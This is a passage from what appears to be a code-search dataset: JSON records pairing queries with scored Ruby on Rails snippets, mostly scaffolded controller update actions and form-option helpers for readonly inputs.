"text": "def update\n @getroomratecodefb = Getroomratecodefb.find(params[:id])\n\n respond_to do |format|\n if @getroomratecodefb.update_attributes(params[:getroomratecodefb])\n format.html { redirect_to @getroomratecodefb, notice: 'Getroomratecodefb was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @getroomratecodefb.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "57fa8e739e4f8744998c66b572d71a8a",
"score": "0.544175",
"text": "def update\n @bookingreq = Bookingreq.find(params[:id])\n\n respond_to do |format|\n if @bookingreq.update_attributes(params[:bookingreq])\n format.html { redirect_to @bookingreq, notice: 'Bookingreq was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bookingreq.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "58e86e26997127709ea52690652e141d",
"score": "0.54405254",
"text": "def update\n respond_to do |format|\n if @capability_request_resource_release.update(capability_request_resource_release_params)\n format.html { redirect_to @capability_request_resource_release, notice: 'Capability request resource release was successfully updated.' }\n format.json { render :show, status: :ok, location: @capability_request_resource_release }\n else\n format.html { render :edit }\n format.json { render json: @capability_request_resource_release.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ffe164a2c8313864a75a5c6202f306a7",
"score": "0.5439999",
"text": "def update\n respond_to do |format|\n if @coefficient.update(coefficient_params)\n format.html { redirect_to @coefficient, notice: 'Coefficient was successfully updated.' }\n format.json { render :show, status: :ok, location: @coefficient }\n else\n format.html { render :edit }\n format.json { render json: @coefficient.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "480385ce6562378a8582f57812ef6554",
"score": "0.5438424",
"text": "def update\n respond_to do |format|\n if @condominium_fee.update(condominium_fee_params)\n format.html { redirect_to root_url, notice: 'Condominium fee was successfully updated.' }\n format.json { render :show, status: :ok, location: @condominium_fee }\n else\n format.html { render :edit }\n format.json { render json: @condominium_fee.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "069ffefc819dbd33234ffba5b1141b75",
"score": "0.54382086",
"text": "def update\n @render_usecases = true\n @requirement = Requirement.find(params[:id])\n respond_to do |format|\n if @requirement.update_attributes(params[:requirement])\n #flash[:notice] = 'Requirement was successfully updated.'\n format.js { render :js => \"location.reload();\" }\n format.json { head :no_content }\n else\n format.js { render \"edit\" }\n format.json { render json: @requirement.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "452453651cc2260bc5ff3fc2a947edad",
"score": "0.54335624",
"text": "def update\n update_resource_response(@issue, issue_params)\n end",
"title": ""
},
{
"docid": "077f1ebcd5323c4d98ec486bff4e08a5",
"score": "0.54318374",
"text": "def update\n respond_to do |format|\n if @combination_fee.update(combination_fee_params)\n format.html { redirect_to @combination_fee, notice: 'Combination fee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @combination_fee.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "800a14b8cdce45e42c9fb3bbda1a7451",
"score": "0.54314387",
"text": "def update\n @bcr = Bcr.find(params[:id])\n\n respond_to do |format|\n if @bcr.update_attributes(params[:bcr])\n format.html { redirect_to(@bcr, :notice => 'Bcr was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bcr.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9f40b320bb0820be5fb7ad8c1e3b3777",
"score": "0.54296714",
"text": "def update\n status_unsupported_media_type && return unless content_type_header?\n\n # Parse in the FHIR::Patient\n contents = FHIR.from_contents(request.body.string)\n errors = contents&.validate\n status_bad_request(format_fhir_validation_errors(errors)) && return if contents.nil? || !errors.empty?\n\n resource_type = params.permit(:resource_type)[:resource_type]&.downcase\n case resource_type\n when 'patient'\n return if doorkeeper_authorize!(\n :'user/Patient.write',\n :'user/Patient.*',\n :'system/Patient.write',\n :'system/Patient.*'\n )\n\n updates = Patient.from_fhir(contents, default_patient_jurisdiction_id)\n\n resource = get_patient(params.permit(:id)[:id])\n\n # Grab patient before changes to construct diff\n patient_before = resource.dup\n\n # If \"monitoring\" was set to false for a Patient that was previously being monitored\n if !resource.nil? && resource.monitoring && updates&.key?(:monitoring) && !updates[:monitoring]\n # Add closed_at to updates\n updates[:closed_at] = DateTime.now\n end\n else\n status_not_found && return\n end\n\n status_forbidden && return if resource.nil?\n\n # Try to update the resource\n status_unprocessable_entity && return if updates.nil?\n\n # The resource.update method does not allow a context to be passed, so first we assign the updates, then save\n resource.assign_attributes(updates)\n unless jurisdiction_valid_for_client?(resource) && resource.save(context: :api)\n status_unprocessable_entity(format_model_validation_errors(resource)) && return\n end\n\n if resource_type == 'patient'\n # Update patient history with detailed edit diff\n Patient.detailed_history_edit(patient_before, resource, resource.creator&.email, updates, is_api_edit: true)\n end\n\n status_ok(resource.as_fhir) && return\n rescue StandardError\n render json: operation_outcome_fatal.to_json, status: :internal_server_error\n end",
"title": ""
},
{
"docid": "2850a93c8bebd82635e5c9b250923475",
"score": "0.5425776",
"text": "def update\n @medium_const_nec_res_inv = MediumConstNecResInv.find(params[:id])\n\n respond_to do |format|\n if @medium_const_nec_res_inv.update_attributes(params[:medium_const_nec_res_inv])\n format.html { redirect_to @medium_const_nec_res_inv, notice: 'Medium const nec res inv was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @medium_const_nec_res_inv.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
b3dae74e133a689e0a09f526b22ca06e
|
sets options if we're creating a new row (+value.node?+ is true). since we need to set the authority first, our input needs to be readonly.
|
[
{
"docid": "0430a87d9e865b786cd2563f2fec24e2",
"score": "0.67539895",
"text": "def build_options_for_new_row(attribute_name, _index, options)\n super\n\n options[:readonly] = true\n options[:data] ||= {}\n options[:data][:autocomplete] = attribute_name\n end",
"title": ""
}
] |
[
{
"docid": "1f430a90263f65f211cc455865e7abb1",
"score": "0.63096493",
"text": "def build_options_for_existing_row(_attribute_name, _index, value, options)\n options[:value] = \"#{value.rdf_label.first} (#{value.rdf_subject})\" || \"Unable to fetch label for #{value.rdf_subject}\"\n options[:readonly] = true\n end",
"title": ""
},
{
"docid": "58f2db1747a2fbf60aaba4e758befbc9",
"score": "0.533582",
"text": "def set_readonly_user(opts)\n opts = check_params(opts,[:ro_user_info])\n super(opts)\n end",
"title": ""
},
{
"docid": "10b1ad8d5ed853b3f92996cb2ac8080a",
"score": "0.5208989",
"text": "def set_readonly_option!(options) #:nodoc:\n if options[:piggy]\n options[:readonly] = true\n else\n old_set_readonly_option!(options)\n end\n end",
"title": ""
},
{
"docid": "37141d8d9679e3621a0e54247a185128",
"score": "0.5196323",
"text": "def edit(*)\n super.tap do\n __debug_sim('USER initiates modification of existing entries.')\n end\n end",
"title": ""
},
{
"docid": "b24a2948ee52af0e037d8e037a817e93",
"score": "0.51610106",
"text": "def _format_input(type)\n @attr[:readonly] = :readonly\n super\n end",
"title": ""
},
{
"docid": "583b419b19ef1330b34e0502259b8a34",
"score": "0.51157004",
"text": "def editable!\n editable(true)\n end",
"title": ""
},
{
"docid": "3b7f5adfe58460e0a7815dd312971b65",
"score": "0.50816333",
"text": "def set_readwrite_user(opts)\n opts = check_params(opts,[:rw_user_info])\n super(opts)\n end",
"title": ""
},
{
"docid": "d25fcb94c48926dc7c475d696f5f61e9",
"score": "0.49487805",
"text": "def row_factory=(factory)\n if !factory.respond_to? :create_row\n raise ArgumentError, \"specified factory (#{factory}) does not respond to :create_row\"\n end\n\n @factory = factory\n @editable = (factory.nil? ? false : true)\n if editable?\n @rows.each { |row| row.editable = true }\n end\n end",
"title": ""
},
{
"docid": "36e0e421784414649ad8d8e83ae11c75",
"score": "0.49129885",
"text": "def set_row!(row, rowname: nil)\n rowname ||= get_new_rowname\n case row\n when Array then\n raise \"row must have #{ncols} columns\" unless row.length == ncols\n row = Hash[*colnames.zip(row).flatten(1)]\n when Hash then\n else raise 'row must be Array or Hash'\n end\n if @rownames[rowname] then\n @rows[@rownames[rowname]] = row\n else\n @rownames[rowname] = @rows.length\n @rows << row\n end\n self\n end",
"title": ""
},
{
"docid": "8eb03ac38b35b775fe1275dbbe1fb0a0",
"score": "0.4887829",
"text": "def config_row(row, options = {})\n TkGrid.rowconfigure content, row, options\n end",
"title": ""
},
{
"docid": "28542df72c11423d6806ef2c90a1b25f",
"score": "0.48348624",
"text": "def set_option(value)\r\n\t\tif value.is_a? Array\r\n\t\t\tvalue.each do |cur_value|\r\n\t\t\t\to_v = OptionValue.find(cur_value)\r\n\t\t\t\tself.line_item_option_values << LineItemOptionValue.new(:option_value => cur_value, :extra_cost => o_v.extra_cost, :extra_weight => o_v.extra_weight)\r\n\t\t\tend\r\n\t\telse\r\n\t\t\to_v = OptionValue.find(value)\r\n\t\t\tself.line_item_option_values << LineItemOptionValue.new(:option_value => value, :extra_cost => o_v.extra_cost, :extra_weight => o_v.extra_weight)\r\n\t\tend\r\n\tend",
"title": ""
},
{
"docid": "eccba7bb2a3a9c97a36582f2cbf5be42",
"score": "0.4806884",
"text": "def editable(value = true)\n cursor(true) if Vedeu::Boolean.coerce(value)\n\n model.editable = Vedeu::Boolean.coerce(value)\n end",
"title": ""
},
{
"docid": "dfc4aaca6a0b78a8672a61a2a3ffc8d5",
"score": "0.48034692",
"text": "def set_acl_statement\n super\n end",
"title": ""
},
{
"docid": "8b2747284e0064720667633fb691dfbe",
"score": "0.47845718",
"text": "def format_textarea\n @attr[:readonly] = :readonly\n super\n end",
"title": ""
},
{
"docid": "1eecb54ce01374ee7fd1283a09648e59",
"score": "0.47741577",
"text": "def set_attributes(*args)\n if args && args[0]\n if args[0].is_a?(Hash)\n args[0].each{|m,value|\n self.send(\"#{m}=\".to_sym,value)\n }\n else\n raise ArgumentError.new(\"Lolita::Configuration::List::Editable arguments must be Hash instead of #{args[0].class}\")\n end\n end\n end",
"title": ""
},
{
"docid": "450656d9ce538ae69b342652a9ecdafd",
"score": "0.47179496",
"text": "def create_event options\n row=table.add calculate_value(expression,options)\n super options.merge row: row\n end",
"title": ""
},
{
"docid": "2fa9272111ed32df5950884b7e7cb4c8",
"score": "0.47167727",
"text": "def permitted_line_item_attributes\n if @current_user_roles.include?('admin')\n super + [:price, :variant_id, :sku]\n else\n super\n end\n end",
"title": ""
},
{
"docid": "2fa9272111ed32df5950884b7e7cb4c8",
"score": "0.47167727",
"text": "def permitted_line_item_attributes\n if @current_user_roles.include?('admin')\n super + [:price, :variant_id, :sku]\n else\n super\n end\n end",
"title": ""
},
{
"docid": "825245db45dcd0f11966cf18f4a1757a",
"score": "0.46787775",
"text": "def initialize(document, field, value, options = {})\n @document, @field, @value = document, field, value\n @options = { :safe => safe_mode?(options) }\n end",
"title": ""
},
{
"docid": "ac55752dd9cc4f485a916c46d7b41237",
"score": "0.4668153",
"text": "def allowed_attributes=(_arg0); end",
"title": ""
},
{
"docid": "ac55752dd9cc4f485a916c46d7b41237",
"score": "0.4668153",
"text": "def allowed_attributes=(_arg0); end",
"title": ""
},
{
"docid": "44e932f79328a6198d3d5ec254040fef",
"score": "0.4657582",
"text": "def setlinetype(*)\n super\n end",
"title": ""
},
{
"docid": "48f8c163ff249132e4373f0cc60171e4",
"score": "0.46490934",
"text": "def set_options_statement(opts)\n opts = check_params(opts,[:statement])\n super(opts)\n end",
"title": ""
},
{
"docid": "38b46cbc0108da42b2d77969c0de2cbf",
"score": "0.4639441",
"text": "def add_html_options(existing_options)\n { readonly: @readonly, disabled: @disabled, autocomplete: @autocomplete }.merge(@data_options)\n .merge(existing_options)\n end",
"title": ""
},
{
"docid": "4232d0f58c22059d8276d756f24a0849",
"score": "0.463574",
"text": "def set_or_return(symbol, arg, options={})\n if options && options[:default] == 'root'\n if USER_PROPERTIES.include?(symbol) && node.platform_family?('windows')\n options = options.dup\n options[:default] = Poise::Utils::Win32.admin_user\n elsif GROUP_PROPERTIES.include?(symbol)\n options = options.dup\n options[:default] = node['root_group']\n end\n end\n super(symbol, arg, options)\n end",
"title": ""
},
{
"docid": "aa8d07a769aaf0419a819162648e17fe",
"score": "0.4635654",
"text": "def startEdit\n super\n create_text_field unless @text_field\n\n set_text nil\n set_graphic @text_field\n @text_field.select_all\n end",
"title": ""
},
{
"docid": "22df5b0c03bbe2fa24645d551397489d",
"score": "0.46235546",
"text": "def initialize_field(key)\n return super unless current_user.student?\n\n case key.to_sym\n when :creator\n self[key] = [current_user.authority_name]\n when :rights_statement\n self[key] = DEFAULT_RIGHTS_STATEMENT_URI\n when :rights_holder\n self[key] = [current_user.authority_name]\n else\n super\n end\n end",
"title": ""
},
{
"docid": "4b862a3cc053bdbbf219c66270474b9e",
"score": "0.4617043",
"text": "def create_record(attr = nil, force_id: false, no_raise: false, **)\n # noinspection RubyScope, RubyMismatchedReturnType\n super do |attr|\n unless administrator?\n org = current_org&.id or raise \"no org for #{current_user}\"\n attr[:org_id] = org\n end\n attr[:org_id] = nil if attr.key?(:org_id) && (attr[:org_id].to_i == 0)\n end\n end",
"title": ""
},
{
"docid": "911a5011a678b78d3363b8a2459354cb",
"score": "0.46125916",
"text": "def imedidata_rave_connection_data_enter(field, value)\n #if link_account_button\n case field.downcase\n when 'rave account'\n option = rave_account_dropdown_options.detect { |item| item.value == value}\n option.click unless option.nil?\n when 'password'\n password_text.set value\n #TODO: when 'role'\n else\n raise \"Option: #{field} is not supported.\"\n end\n #end\n end",
"title": ""
},
{
"docid": "ec971bf81a4a5fc4c32c77999fe4e758",
"score": "0.45922565",
"text": "def set_attribute_node( new_attr )\n if new_attr.owner_document != self.owner_document then\n raise \"WRONG_DOCUMENT_ERR\"\n end\n if not new_attr.owner_element.nil? then\n raise \"INUSE_ATTRIBUTE_ERR\"\n end\n old_attr = nil\n @attr_nodes << new_attr\n new_attr._set_owner_element( self )\n old_attr\n end",
"title": ""
},
{
"docid": "58db0a16fbe36706df910b3e0cbbdfd1",
"score": "0.45867026",
"text": "def write\n row.set_attribute(attr_name, contents)\n end",
"title": ""
},
{
"docid": "9502cb9d85ce52de7ba34782ff1ff238",
"score": "0.4581557",
"text": "def ensure_editable; return false unless editable? end",
"title": ""
},
{
"docid": "5e9b3b90c8d0cf11382e14eabe09aa55",
"score": "0.4580063",
"text": "def set_Role(value)\n set_input(\"Role\", value)\n end",
"title": ""
},
{
"docid": "5e9b3b90c8d0cf11382e14eabe09aa55",
"score": "0.4580063",
"text": "def set_Role(value)\n set_input(\"Role\", value)\n end",
"title": ""
},
{
"docid": "25d7ecea6a8d3faf91a733100de83f9f",
"score": "0.45777515",
"text": "def parent=(parent)\n RTFError.fire(\"Table row nodes cannot have their parent changed.\")\n end",
"title": ""
},
{
"docid": "184a14d39909dee4e0d359829af294c6",
"score": "0.45615086",
"text": "def settable\n @settable ||= %i[text_field file_field textarea checkbox select_list]\n end",
"title": ""
},
{
"docid": "834f67aaca957a447138f71beb5ce316",
"score": "0.4556819",
"text": "def set_readonly_community(opts)\n opts = check_params(opts,[:ro_community_info])\n super(opts)\n end",
"title": ""
},
{
"docid": "271bd949d737795c7fbb60ec57b84228",
"score": "0.4552188",
"text": "def user_options; end",
"title": ""
},
{
"docid": "97dbf606f5f65dd923e04f70dcbcc818",
"score": "0.45509845",
"text": "def edit_patron(selected)\n\tedit_patron_name(selected)\n\tedit_patron_email_address(selected)\nend",
"title": ""
},
{
"docid": "a3cff569ac8eef95de813fa41e91bbbc",
"score": "0.45509115",
"text": "def set_allowed_attrs\n allowed_attrs = %i[id]\n fields = settings(\"views.#{params[:component]}.new\", fatal_exception: true)\n fields.each do |field|\n allowed_attrs.append(node_name(field).to_sym)\n end\n allowed_attrs\n end",
"title": ""
},
{
"docid": "070b5e44792755b0fc5a4502b9ff4896",
"score": "0.45448664",
"text": "def set_readonly\n readonly! if persisted? && !parent\n end",
"title": ""
},
{
"docid": "2dbf04196dde977abc71febeb79e44b1",
"score": "0.45392635",
"text": "def entered_options=(entered_options)\n return unless entered_options\n entered_options.each do |(opt_class_id, raw_value)|\n next unless raw_value.present? #how else can I ensure/validate that no option is created without raw data\n option_class = OptionClass.find(opt_class_id)\n case option_class.value_type\n when \"IntegerOption\"\n option = self.integer_options.new(value: raw_value)\n when \"StringOption\"\n option = self.string_options.new(value: raw_value)\n when \"BooleanOption\"\n option = self.boolean_options.new(value: raw_value)\n when \"DateOption\"\n option = self.date_options.new(value: raw_value)\n end\n option.option_class = option_class\n end \n end",
"title": ""
},
{
"docid": "ec31baf583e2656dddb04d9ed8b29a61",
"score": "0.45367926",
"text": "def set_scratch\n set_option('buftype','nofile')\n set_option('buflisted',0)\n set_option('bufhidden','delete')\n set_option('swapfile',0)\n set_option('list',0)\n set_option('number',0)\n set_option('foldenable',0)\n set_option('foldcolumn',0)\n set_option('readonly',0)\n return self\n end",
"title": ""
},
{
"docid": "1cf8f277a66acf328b02075ea08174e0",
"score": "0.45336184",
"text": "def parent=(value)\n raise UnsupportedOperationError\n end",
"title": ""
},
{
"docid": "8ad5a4ae0efe6439eb434bf222115da8",
"score": "0.45042467",
"text": "def add_options; end",
"title": ""
},
{
"docid": "fdb016ddcfbc5f71b06ac69f4f7022dd",
"score": "0.45033386",
"text": "def new_record(attr = nil, force_id: false, **)\n # noinspection RubyScope, RubyMismatchedReturnType\n super do |attr|\n unless administrator?\n org = current_org&.id or raise \"no org for #{current_user}\"\n attr[:org_id] = org\n end\n attr[:org_id] = 0 if attr.key?(:org_id) && attr[:org_id].nil?\n end\n end",
"title": ""
},
{
"docid": "97871bb272552162a0ac0629dc72ff59",
"score": "0.4499702",
"text": "def set_form_row\n # @form.row = @row + 1 + @winrow\n #@form.row = @row + 1 \n r, c = rowcol\n #$log.warn \" empty set_form_row in widget #{self} r = #{r} , c = #{c} \"\n #raise \"trying to set 0, maybe called repaint before container has set value\" if row <= 0\n setrowcol row, nil\n end",
"title": ""
},
{
"docid": "2ed9b81ecbf1d4d15c0744072fa66620",
"score": "0.4498354",
"text": "def update_or_create_options(hash, opts)\n results = {}\n attrs = self.import_attrs || []\n attrs -= opts[:only] unless opts[:only].nil?\n attrs.each do |attr|\n key = nil\n if hash.key?(attr)\n key = attr\n elsif hash.key?(attr.to_s)\n key = attr.to_s\n end\n results[attr] = hash[key] unless key.nil?\n end\n results\n end",
"title": ""
},
{
"docid": "89e534f4cb64774fd222b86736148a1f",
"score": "0.449366",
"text": "def add_node_attribute(key, value, options)\n @node_attributes << { key: key, value: value, options: options }\n end",
"title": ""
},
{
"docid": "a727ef63f762486ff3b9d36d0b700666",
"score": "0.44924337",
"text": "def add_option(name, value = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "3fbd2a2cb49320fb6cb352576f61f191",
"score": "0.4491089",
"text": "def set_key_statement\n super\n end",
"title": ""
},
{
"docid": "74e7019e7a8f398f0922eae162cad88e",
"score": "0.44891432",
"text": "def edit\n __log_activity\n __debug_route\n id = identifier_list.first\n if id.is_a?(Integer)\n @item = User.find_record(id) or raise \"invalid selection #{id.inspect}\"\n else\n @item = current_user\n end\n super\n end",
"title": ""
},
{
"docid": "e16755f8da79d3a7ad0b31a8e6189455",
"score": "0.44886482",
"text": "def set_form_row #:nodoc:\n if !@current_component.nil?\n #$log.debug \" #{@name} set_form_row calling sfr for #{@current_component.name} \"\n #fc = @current_component.widgets[0]\n fc = @current_component.get_current_field\n fc ||= @current_component.widgets[0]\n fc.set_form_row if fc\n #fc.set_form_col \n end\n end",
"title": ""
},
{
"docid": "d8394c9748c0cc0ff9d0b9761c02fbdd",
"score": "0.44859368",
"text": "def []=(name, options); end",
"title": ""
},
{
"docid": "e20ea9907c1ff9cba5ffff9a9c25e1ca",
"score": "0.4477398",
"text": "def data_for_role_edit\n {}\n end",
"title": ""
},
{
"docid": "bff7517dc64fff63768520e07dd6be12",
"score": "0.44772547",
"text": "def <<(line)\n if line.kind_of?(IniParse::Lines::Section)\n raise IniParse::LineNotAllowed,\n \"You can't add a Section to an OptionCollection.\"\n end\n\n if line.blank? || (! has_key?(line.key))\n super # Adding a new option, comment or blank line.\n else\n self[line.key] = [self[line.key], line].flatten\n end\n\n self\n end",
"title": ""
},
{
"docid": "8d5c5afcafd259f2296a78da2bb3f3ca",
"score": "0.44741714",
"text": "def build_editable_fields(actions, guardian, args)\n end",
"title": ""
},
{
"docid": "6831f1e1527df30ebb202f4c24d24141",
"score": "0.44719747",
"text": "def format_select\n @attr[:disabled] = :disabled\n super\n end",
"title": ""
},
{
"docid": "c9aa0bcd9d52e4b04bb72e64d42ad03d",
"score": "0.446379",
"text": "def on_enter\n super\n set_form_row\n end",
"title": ""
},
{
"docid": "6263301a35c2808cb85f4f2c576338a6",
"score": "0.44583204",
"text": "def editable?\n false\n end",
"title": ""
},
{
"docid": "4648604f3d01775de739a60a9265e071",
"score": "0.44487",
"text": "def readonly=(value)\n if value\n self[:readonly] = ''\n else\n remove_attribute :readonly\n end\n end",
"title": ""
},
{
"docid": "9a66404127332aec0a152a1bc9512988",
"score": "0.44331574",
"text": "def add_user_rights_row\n @organization = Organization.find(params[:organization_id])\n @new_ur_identity = Identity.find_or_create(params[:new_ur_identity_id])\n @user_rights = user_rights(@organization.id)\n end",
"title": ""
},
{
"docid": "745ce5358a8e7718a8e5c1616d07b686",
"score": "0.44315958",
"text": "def add_rights_statement\n parsed_metadata['rightsStatement'] = [parser.parser_fields['rights_statement']] if override_rights_statement\n end",
"title": ""
},
{
"docid": "a5229924bd0e0ddf1624b124127036f1",
"score": "0.4430408",
"text": "def options=(_arg0); end",
"title": ""
},
{
"docid": "a5229924bd0e0ddf1624b124127036f1",
"score": "0.4430408",
"text": "def options=(_arg0); end",
"title": ""
},
{
"docid": "a5229924bd0e0ddf1624b124127036f1",
"score": "0.4430408",
"text": "def options=(_arg0); end",
"title": ""
},
{
"docid": "a5229924bd0e0ddf1624b124127036f1",
"score": "0.4430408",
"text": "def options=(_arg0); end",
"title": ""
},
{
"docid": "a5229924bd0e0ddf1624b124127036f1",
"score": "0.4430408",
"text": "def options=(_arg0); end",
"title": ""
},
{
"docid": "a5229924bd0e0ddf1624b124127036f1",
"score": "0.4430408",
"text": "def options=(_arg0); end",
"title": ""
},
{
"docid": "a5229924bd0e0ddf1624b124127036f1",
"score": "0.4430408",
"text": "def options=(_arg0); end",
"title": ""
},
{
"docid": "a5229924bd0e0ddf1624b124127036f1",
"score": "0.4430408",
"text": "def options=(_arg0); end",
"title": ""
},
{
"docid": "a5229924bd0e0ddf1624b124127036f1",
"score": "0.4430408",
"text": "def options=(_arg0); end",
"title": ""
},
{
"docid": "a5229924bd0e0ddf1624b124127036f1",
"score": "0.4430408",
"text": "def options=(_arg0); end",
"title": ""
},
{
"docid": "a5229924bd0e0ddf1624b124127036f1",
"score": "0.4430408",
"text": "def options=(_arg0); end",
"title": ""
},
{
"docid": "a5229924bd0e0ddf1624b124127036f1",
"score": "0.4430408",
"text": "def options=(_arg0); end",
"title": ""
},
{
"docid": "a5229924bd0e0ddf1624b124127036f1",
"score": "0.4430408",
"text": "def options=(_arg0); end",
"title": ""
},
{
"docid": "6b452c299a5e22ead06db438dd9126aa",
"score": "0.4419276",
"text": "def initialize(\n add_handle: true,\n delete_handle: true,\n add_naming_authority: true,\n delete_naming_authority: true,\n modify_values: true,\n remove_values: true,\n add_values: true,\n read_values: true,\n modify_administrator: true,\n remove_administrator: true,\n add_administrator: true,\n list_handles: true\n )\n @add_handle = add_handle\n @delete_handle = delete_handle\n @add_naming_authority = add_naming_authority\n @delete_naming_authority = delete_naming_authority\n @modify_values = modify_values\n @remove_values = remove_values\n @add_values = add_values\n @read_values = read_values\n @modify_administrator = modify_administrator\n @remove_administrator = remove_administrator\n @add_administrator = add_administrator\n @list_handles = list_handles\n end",
"title": ""
},
{
"docid": "a4560473cfceaf627dcddcf1a241df31",
"score": "0.44170377",
"text": "def update!(**args)\n @completable_option = args[:completable_option] if args.key?(:completable_option)\n @dynamic_facetable_option = args[:dynamic_facetable_option] if args.key?(:dynamic_facetable_option)\n @field_path = args[:field_path] if args.key?(:field_path)\n @field_type = args[:field_type] if args.key?(:field_type)\n @indexable_option = args[:indexable_option] if args.key?(:indexable_option)\n @key_property_type = args[:key_property_type] if args.key?(:key_property_type)\n @recs_filterable_option = args[:recs_filterable_option] if args.key?(:recs_filterable_option)\n @retrievable_option = args[:retrievable_option] if args.key?(:retrievable_option)\n @searchable_option = args[:searchable_option] if args.key?(:searchable_option)\n end",
"title": ""
},
{
"docid": "594c513cc1b3d33e0892d39b0e85b411",
"score": "0.44141713",
"text": "def schema=(value); end",
"title": ""
},
{
"docid": "88cc316358e65aaf5faeaff41b19149f",
"score": "0.4411507",
"text": "def set_rights_metadata\n self.edit_groups = ['Chronos-Pligtaflevering']\n self.read_groups = ['Chronos-Alle']\n self.discover_groups = ['Chronos-Alle']\n end",
"title": ""
},
{
"docid": "1e7f6226dd734b138767df325fce71f2",
"score": "0.44098118",
"text": "def editable?\n true\n end",
"title": ""
},
{
"docid": "1e7f6226dd734b138767df325fce71f2",
"score": "0.44098118",
"text": "def editable?\n true\n end",
"title": ""
},
{
"docid": "1e7f6226dd734b138767df325fce71f2",
"score": "0.44098118",
"text": "def editable?\n true\n end",
"title": ""
},
{
"docid": "64d486740170b5d6765d45917c193047",
"score": "0.440482",
"text": "def set(row, heading, value)\n row[index(heading)] = value\n end",
"title": ""
},
{
"docid": "07c4b522d75e3fd61b19c1f77e85047d",
"score": "0.4402677",
"text": "def set_columns_changeable(value)\n self.write_attribute :columns_changeable, value.to_json\n end",
"title": ""
},
{
"docid": "61a09081e2ff375e19f256bb4a010ed2",
"score": "0.43988854",
"text": "def AccessRights=(arg0)",
"title": ""
},
{
"docid": "1e1c8557c7e745355537e1df9a2ac9e5",
"score": "0.43961465",
"text": "def set_client_access(opts)\n opts = check_params(opts,[:client_access_info])\n super(opts)\n end",
"title": ""
},
{
"docid": "28318da4aedb7b24ad3155d2e6965bbe",
"score": "0.43941006",
"text": "def ensure_editable\n errors.add(:base, I18n.t('settler.errors.editable', :default => 'Setting cannot be changed')) if changed? && !editable?\n end",
"title": ""
},
{
"docid": "d678016a4c439075c83871de8b4a27d4",
"score": "0.43940765",
"text": "def create(options = {})\n row = self.new(options)\n row.save\n row\n end",
"title": ""
},
{
"docid": "d678016a4c439075c83871de8b4a27d4",
"score": "0.43940765",
"text": "def create(options = {})\n row = self.new(options)\n row.save\n row\n end",
"title": ""
},
{
"docid": "7c3fabc6265e9925a55073778a256617",
"score": "0.4390186",
"text": "def cas_extra_attributes=(attributes)\n self.username = attributes['uid']\n self.email = attributes['email']\n self.given_name = attributes['givenName']\n self.surname = attributes['surname']\n self.lnumber = attributes['lnumber']\n\n update_roles_from_attributes(attributes)\n end",
"title": ""
},
{
"docid": "fde1cabf4900b0e59e6cdf9f0aa3782b",
"score": "0.43899938",
"text": "def set_AuthorID(value)\n set_input(\"AuthorID\", value)\n end",
"title": ""
},
{
"docid": "d99f5f39365b3d78ee92364473dfb18c",
"score": "0.43874505",
"text": "def safe_attributes=(attrs, user=User.current)\n if attrs.respond_to?(:to_unsafe_hash)\n attrs = attrs.to_unsafe_hash\n end\n\n return unless attrs.is_a?(Hash)\n\n if attrs['custom_field_values'].present?\n editable_custom_field_ids = editable_custom_field_values(user).map {|v| v.custom_field_id.to_s}\n attrs['custom_field_values'].select! {|k, v| editable_custom_field_ids.include?(k.to_s)}\n end\n\n if attrs['custom_fields'].present?\n editable_custom_field_ids = editable_custom_field_values(user).map {|v| v.custom_field_id.to_s}\n attrs['custom_fields'].select! {|c| editable_custom_field_ids.include?(c['id'].to_s)}\n end\n\n super(attrs, user)\n end",
"title": ""
},
{
"docid": "d6811d78b478f1ba0915299c6310f4d9",
"score": "0.43832222",
"text": "def set_values(opts)\n opts = check_params(opts,[:create_instances_if_needed,:class_instance_keys,:field_instance_names,:values])\n super(opts)\n end",
"title": ""
},
{
"docid": "d80ed741205c82ced9cbd70fe9d126f8",
"score": "0.43810058",
"text": "def create_and_execute_edit(edit_type, attribute_path, value = nil)\n sanitize_for_dynamo(value)\n edit = DocumentEdit.new(edit_type: edit_type,\n attribute_path: attribute_path,\n value: value, document: self)\n message = edit.execute_change\n edit.save\n message\n end",
"title": ""
},
{
"docid": "0f3e0f40f180a208418ec5c854fea34e",
"score": "0.4377784",
"text": "def edit!(properties)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "076d639131e2b59f2c2f8aac99dfef04",
"score": "0.4373819",
"text": "def give_options\n clean_user_options\n @user_options.merge(default_options)\n end",
"title": ""
},
{
"docid": "320a06b6e2ebfe073a932efc8731eb20",
"score": "0.4370868",
"text": "def build_field_options(value, _index)\n return super if defined?(super)\n\n dom_id = input_dom_id if respond_to?(:input_dom_id)\n dom_id ||= \"#{object_name}_#{attribute_name}\"\n\n input_html_options.dup.tap do |options|\n options[:value] = value\n\n options[:id] ||= dom_id\n options[:class] ||= []\n options[:class] += [\"#{dom_id} form-control\"]\n options[:'aria-labelledby'] ||= \"#{dom_id}_label\"\n end\n end",
"title": ""
},
{
"docid": "f71084ab287a178aeb3e1cfa1d616e2f",
"score": "0.4370229",
"text": "def validate\n opts = options.dup\n opts[0] = \"1\"\n set(options: opts)\n end",
"title": ""
},
{
"docid": "d0bb8c404513a6ebac04d6d72f8f42d5",
"score": "0.43571645",
"text": "def set_ContactRole(value)\n set_input(\"ContactRole\", value)\n end",
"title": ""
}
] |
94cd7e1a973318fb78f241c3c5c72093
|
Detect numeric data and denote it as a string:
|
[
{
"docid": "813879c414fd606b83f0ee56f40e775d",
